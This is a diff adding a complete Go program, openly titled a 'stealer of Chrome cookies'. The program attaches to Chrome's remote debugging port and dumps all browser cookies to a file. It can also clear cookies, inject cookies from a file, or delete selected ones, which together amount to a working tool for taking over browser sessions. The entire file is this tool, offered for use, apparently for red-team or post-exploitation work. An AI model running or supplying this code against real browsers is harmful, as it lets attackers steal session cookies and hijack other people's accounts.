| 1 | + | // Program chromecookiestealer: A stealer of Chrome cookies. |
| 2 | + | package main |
| 3 | + | |
| 4 | + | /* |
| 5 | + | * chromecookiestealer.go |
| 6 | + | * chromecookiestealer: A stealer of Chrome cookies. |
| 7 | + | * By J. Stuart McMurray |
| 8 | + | * Created 20230515 |
| 9 | + | * Last Modified 20230519 |
| 10 | + | */ |
| 11 | + | |
| 12 | + | import ( |
| 13 | + | "context" |
| 14 | + | "encoding/json" |
| 15 | + | "flag" |
| 16 | + | "fmt" |
| 17 | + | "io" |
| 18 | + | "log" |
| 19 | + | "os" |
| 20 | + | "strings" |
| 21 | + | "time" |
| 22 | + | |
| 23 | + | "github.com/chromedp/cdproto/cdp" |
| 24 | + | "github.com/chromedp/cdproto/network" |
| 25 | + | "github.com/chromedp/cdproto/storage" |
| 26 | + | "github.com/chromedp/chromedp" |
| 27 | + | ) |
| 28 | + | |
| 29 | + | var ( |
| 30 | + | /* ProgramStart notes when the program has started for printing the |
| 31 | + | elapsed time when the program ends. */ |
| 32 | + | ProgramStart = time.Now() |
| 33 | + | |
| 34 | + | /* Verbosef wil be a no-op if -verbose isn't given. */ |
| 35 | + | Verbosef = log.Printf |
| 36 | + | |
| 37 | + | DumpFile string |
| 38 | + | InjectFile string |
| 39 | + | DeleteFile string |
| 40 | + | DoClear string /* Nonempty to default to clearing. */ |
| 41 | + | ) |
| 42 | + | |
| 43 | + | // DCP wraps network.DeleteCookiesParams with a String method. |
| 44 | + | type DCP network.DeleteCookiesParams |
| 45 | + | |
| 46 | + | // String implements fmt.Stringer. |
| 47 | + | func (d DCP) String() string { |
| 48 | + | var sb strings.Builder |
| 49 | + | fmt.Fprintf(&sb, "<name:%q", d.Name) |
| 50 | + | if "" != d.URL { |
| 51 | + | fmt.Fprintf(&sb, " url:%q", d.URL) |
| 52 | + | } |
| 53 | + | if "" != d.Domain { |
| 54 | + | fmt.Fprintf(&sb, " domain:%q", d.Domain) |
| 55 | + | } |
| 56 | + | if "" != d.Path { |
| 57 | + | fmt.Fprintf(&sb, " path:%q", d.Path) |
| 58 | + | } |
| 59 | + | sb.WriteRune('>') |
| 60 | + | return sb.String() |
| 61 | + | } |
| 62 | + | |
| 63 | + | // stdioFilename indicates we should use stdio and not a file. |
| 64 | + | const stdioFilename = "-" |
| 65 | + | |
| 66 | + | var ( |
| 67 | + | /* stdinDec is a decoder which reads from stdin. */ |
| 68 | + | stdinDecoder = json.NewDecoder(os.Stdin) |
| 69 | + | stdinDecoderName = "stdin" |
| 70 | + | ) |
| 71 | + | |
| 72 | + | func main() { |
| 73 | + | /* Command-line flags. */ |
| 74 | + | var ( |
| 75 | + | noSummary = flag.Bool( |
| 76 | + | "no-summary", |
| 77 | + | false, |
| 78 | + | "Don't print a summary on exit", |
| 79 | + | ) |
| 80 | + | verbOn = flag.Bool( |
| 81 | + | "verbose", |
| 82 | + | false, |
| 83 | + | "Enable verbose logging", |
| 84 | + | ) |
| 85 | + | chromeURL = flag.String( |
| 86 | + | "chrome", |
| 87 | + | "ws://127.0.0.1:9222", |
| 88 | + | "Chrome remote debugging `URL`", |
| 89 | + | ) |
| 90 | + | doClear = flag.Bool( |
| 91 | + | "clear", |
| 92 | + | "" != DoClear, |
| 93 | + | "Clear browser cookies", |
| 94 | + | ) |
| 95 | + | ) |
| 96 | + | flag.StringVar( |
| 97 | + | &DumpFile, |
| 98 | + | "dump", |
| 99 | + | DumpFile, |
| 100 | + | "Name of `file` to which to dump stolen cookies", |
| 101 | + | ) |
| 102 | + | flag.StringVar( |
| 103 | + | &InjectFile, |
| 104 | + | "inject", |
| 105 | + | InjectFile, |
| 106 | + | "Name of `file` containing cookies to inject", |
| 107 | + | ) |
| 108 | + | flag.StringVar( |
| 109 | + | &DeleteFile, |
| 110 | + | "delete", |
| 111 | + | DeleteFile, |
| 112 | + | "Name of `file` containing parameters for cookies to delete", |
| 113 | + | ) |
| 114 | + | flag.Usage = func() { |
| 115 | + | fmt.Fprintf( |
| 116 | + | os.Stderr, |
| 117 | + | `Usage: %s [options] |
| 118 | + | Attaches to Chrome using the Remote DevTools Protocol (--remote-debugging-port) |
| 119 | + | and, in order and as requested: |
| 120 | + | |
| 121 | + | - Dumps cookies |
| 122 | + | - Clears cookies |
| 123 | + | - Injects cookies |
| 124 | + | - Deletes selected cookies |
| 125 | + | |
| 126 | + | Parameters for cookies to be deleted should be represented as an array of JSON |
| 127 | + | objects with the following string fields: |
| 128 | + | |
| 129 | + | name - Name of the cookies to remove. |
| 130 | + | url - If specified, deletes all the cookies with the given name where domain |
| 131 | + | and path match provided URL. |
| 132 | + | domain - If specified, deletes only cookies with the exact domain. |
| 133 | + | path - If specified, deletes only cookies with the exact path. |
| 134 | + | |
| 135 | + | Filenames may also be "-" for stdin/stdout. |
| 136 | + | |
| 137 | + | Options: |
| 138 | + | `, |
| 139 | + | os.Args[0], |
| 140 | + | ) |
| 141 | + | flag.PrintDefaults() |
| 142 | + | } |
| 143 | + | flag.Parse() |
| 144 | + | |
| 145 | + | /* Work out verbose logging. */ |
| 146 | + | if !*verbOn { |
| 147 | + | Verbosef = func(string, ...any) {} |
| 148 | + | } |
| 149 | + | |
| 150 | + | /* Make sure we're doing something. */ |
| 151 | + | if "" == DumpFile && !*doClear && "" == InjectFile && |
| 152 | + | "" == DeleteFile { |
| 153 | + | log.Fatalf( |
| 154 | + | "Nothing to do; need -save, -clear, " + |
| 155 | + | "-load, and/or -delete", |
| 156 | + | ) |
| 157 | + | } |
| 158 | + | |
| 159 | + | /* Attach to Chrome. */ |
| 160 | + | actx, acancel := chromedp.NewRemoteAllocator( |
| 161 | + | context.Background(), |
| 162 | + | *chromeURL, |
| 163 | + | ) |
| 164 | + | defer acancel() |
| 165 | + | cctx, ccancel := chromedp.NewContext(actx) |
| 166 | + | defer ccancel() |
| 167 | + | browser, err := chromedp.FromContext(cctx).Allocator.Allocate(cctx) |
| 168 | + | if nil != err { |
| 169 | + | log.Fatalf("Error connecting to browser: %s", err) |
| 170 | + | } |
| 171 | + | xctx := cdp.WithExecutor(context.Background(), browser) |
| 172 | + | |
| 173 | + | /* Do the things requested by the user. */ |
| 174 | + | if "" != DumpFile { |
| 175 | + | if err := save(xctx); nil != err { |
| 176 | + | log.Fatalf("Error saving cookies: %s", err) |
| 177 | + | } |
| 178 | + | } |
| 179 | + | if *doClear { |
| 180 | + | if err := clear(xctx); nil != err { |
| 181 | + | log.Fatalf("Error clearing cookies: %s", err) |
| 182 | + | } |
| 183 | + | } |
| 184 | + | if "" != InjectFile { |
| 185 | + | if err := load(xctx); nil != err { |
| 186 | + | log.Fatalf("Error loading cookies: %s", err) |
| 187 | + | } |
| 188 | + | } |
| 189 | + | if "" != DeleteFile { |
| 190 | + | if err := del(xctx); nil != err { |
| 191 | + | log.Fatalf("Error deleting cookies: %s", err) |
| 192 | + | } |
| 193 | + | } |
| 194 | + | |
| 195 | + | /* All done. */ |
| 196 | + | if !*noSummary { |
| 197 | + | log.Printf( |
| 198 | + | "Done in %s.", |
| 199 | + | time.Since(ProgramStart).Round(time.Millisecond), |
| 200 | + | ) |
| 201 | + | } |
| 202 | + | } |
| 203 | + | |
| 204 | + | // save saves the cookies to DumpFile. |
| 205 | + | func save(ctx context.Context) error { |
| 206 | + | /* Grab the cookies. */ |
| 207 | + | cookies, err := storage.GetCookies().Do(ctx) |
| 208 | + | if nil != err { |
| 209 | + | return fmt.Errorf("getting cookies from browser: %w", err) |
| 210 | + | } |
| 211 | + | Verbosef("Got %d cookies from browser", len(cookies)) |
| 212 | + | |
| 213 | + | /* Work out where we're saving cookies. */ |
| 214 | + | var ( |
| 215 | + | w io.Writer |
| 216 | + | fn string |
| 217 | + | ) |
| 218 | + | if stdioFilename == DumpFile { |
| 219 | + | w = os.Stdout |
| 220 | + | fn = "stdout" |
| 221 | + | } else { |
| 222 | + | f, err := os.Create(DumpFile) |
| 223 | + | if nil != err { |
| 224 | + | return fmt.Errorf("opening savefile: %w", err) |
| 225 | + | } |
| 226 | + | defer f.Close() |
| 227 | + | w = f |
| 228 | + | fn = f.Name() |
| 229 | + | } |
| 230 | + | |
| 231 | + | /* Save them. */ |
| 232 | + | enc := json.NewEncoder(w) |
| 233 | + | enc.SetIndent("", "\t") |
| 234 | + | if err := enc.Encode(cookies); nil != err { |
| 235 | + | return fmt.Errorf("writing cookies to savefile: %w", err) |
| 236 | + | } |
| 237 | + | log.Printf("Wrote %d cookies to %s", len(cookies), fn) |
| 238 | + | |
| 239 | + | return nil |
| 240 | + | } |
| 241 | + | |
| 242 | + | // clear clears the browser's cookies. |
| 243 | + | func clear(ctx context.Context) error { |
| 244 | + | if err := storage.ClearCookies().Do(ctx); nil != err { |
| 245 | + | return err |
| 246 | + | } |
| 247 | + | log.Printf("Cleared browser cookies") |
| 248 | + | return nil |
| 249 | + | } |
| 250 | + | |
| 251 | + | // load loads cookies into the browser from InjectFile. |
| 252 | + | func load(ctx context.Context) error { |
| 253 | + | /* Get the cookies to load. */ |
| 254 | + | var cookies []*network.CookieParam |
| 255 | + | dec, name, cf, err := jsonDecoder(InjectFile) |
| 256 | + | if nil != err { |
| 257 | + | return fmt.Errorf( |
| 258 | + | "preparing to read from %s: %w", |
| 259 | + | InjectFile, |
| 260 | + | err, |
| 261 | + | ) |
| 262 | + | } |
| 263 | + | defer cf() |
| 264 | + | if err := dec.Decode(&cookies); nil != err { |
| 265 | + | return fmt.Errorf("reading cookies from %s: %w", name, err) |
| 266 | + | } |
| 267 | + | Verbosef("Read %d cookies from %s", len(cookies), name) |
| 268 | + | |
| 269 | + | /* Stick them in the browser. */ |
| 270 | + | if err := storage.SetCookies(cookies).Do(ctx); nil != err { |
| 271 | + | return fmt.Errorf("loading cookies into browser: %w", err) |
| 272 | + | } |
| 273 | + | log.Printf("Set %d cookies in browser", len(cookies)) |
| 274 | + | |
| 275 | + | return nil |
| 276 | + | } |
| 277 | + | |
| 278 | + | // del deletes cookies from DeleteFile. |
| 279 | + | func del(ctx context.Context) error { |
| 280 | + | /* Get the cookies parameters to delete. */ |
| 281 | + | var params []DCP |
| 282 | + | dec, name, cf, err := jsonDecoder(DeleteFile) |
| 283 | + | if nil != err { |
| 284 | + | return fmt.Errorf( |
| 285 | + | "preparing to read from %s: %w", |
| 286 | + | InjectFile, |
| 287 | + | err, |
| 288 | + | ) |
| 289 | + | } |
| 290 | + | defer cf() |
| 291 | + | if err := dec.Decode(¶ms); nil != err { |
| 292 | + | return fmt.Errorf("reading parameters from %s: %w", name, err) |
| 293 | + | } |
| 294 | + | Verbosef("Read %d parameters from %s", len(params), name) |
| 295 | + | |
| 296 | + | /* Ask the browser to delete cookies. */ |
| 297 | + | var nSuc int |
| 298 | + | for _, p := range params { |
| 299 | + | if err := (*network.DeleteCookiesParams)( |
| 300 | + | &p, |
| 301 | + | ).Do(ctx); nil != err { |
| 302 | + | log.Printf( |
| 303 | + | "Error deleting cookie with parameters %s: %s", |
| 304 | + | p, |
| 305 | + | err, |
| 306 | + | ) |
| 307 | + | } else { |
| 308 | + | nSuc++ |
| 309 | + | } |
| 310 | + | } |
| 311 | + | log.Printf("Deleted cookies with %d/%d parameters", nSuc, len(params)) |
| 312 | + | return nil /* Errors logged above. */ |
| 313 | + | } |
| 314 | + | |
| 315 | + | // jsonDecoder returns a json.Decoder which reads from the file named f, or |
| 316 | + | // from stdin if f is stdinFilename. The name of the file is also returned. |
| 317 | + | // The returned function should be called to close the file. |
| 318 | + | func jsonDecoder(name string) (*json.Decoder, string, func() error, error) { |
| 319 | + | /* If we're reading from stdin, life's easy. */ |
| 320 | + | if stdioFilename == name { |
| 321 | + | return stdinDecoder, |
| 322 | + | stdinDecoderName, |
| 323 | + | func() error { return nil }, |
| 324 | + | nil |
| 325 | + | } |
| 326 | + | |
| 327 | + | /* Prepare to read from a file. */ |
| 328 | + | f, err := os.Open(name) |
| 329 | + | if nil != err { |
| 330 | + | return nil, "", nil, fmt.Errorf("opening: %w", err) |
| 331 | + | } |
| 332 | + | return json.NewDecoder(f), f.Name(), f.Close, nil |
| 333 | + | } |
| 334 | + | |